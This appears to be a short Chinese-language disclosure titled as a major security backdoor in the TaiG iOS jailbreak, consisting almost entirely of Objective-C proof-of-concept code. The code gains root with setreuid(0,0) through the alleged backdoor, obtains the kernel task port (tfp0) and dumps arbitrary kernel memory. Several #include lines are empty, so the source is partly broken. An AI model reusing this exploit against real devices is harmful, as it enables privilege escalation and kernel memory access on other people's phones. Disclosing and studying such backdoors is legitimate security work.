太极越狱重大安全后门

#include <Foundation/Foundation.h>
#include
#include
#include
#include <sys/types.h>
#include <sys/param.h>
#include
#include <mach/mach.h>

void dump_kernel_memory(vm_address_t addr)
{
kern_return_t kret;
mach_port_t proc_task = 0;
vm_size_t ret_size = 0;
vm_size_t i;
char buffer[128] = {0};
int ret;

ret = task_for_pid(mach_task_self(), 0, &proc_task);
if (ret != 0)
{
NSLog(@"[err] get tfp0 fail: %d", ret);
return;
}

NSLog(@"task for pid 0 = %u", proc_task);

kret = vm_read_overwrite(proc_task,
addr,
sizeof(buffer),
(vm_address_t)buffer,
&ret_size);

char *info = malloc(4096);
info[0] = '\0';

for (i = 0; i < ret_size; i++)
{
if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
}
NSLog(@"%s", info);

free(info);
}

int main (int argc, const char * argv[])
{
if (argc != 2)
{
NSLog(@"%s [kernel_address]", argv[0]);
return 0;
}

NSLog(@"current uid=%d euid=%d", getuid(), geteuid());

/*
* taig backdoor test
*/

setreuid(0,0);

NSLog(@"now uid=%d euid=%d", getuid(), geteuid());

vm_address_t addr = strtoul(argv[1], NULL, 16);
dump_kernel_memory(addr);

return 0;
}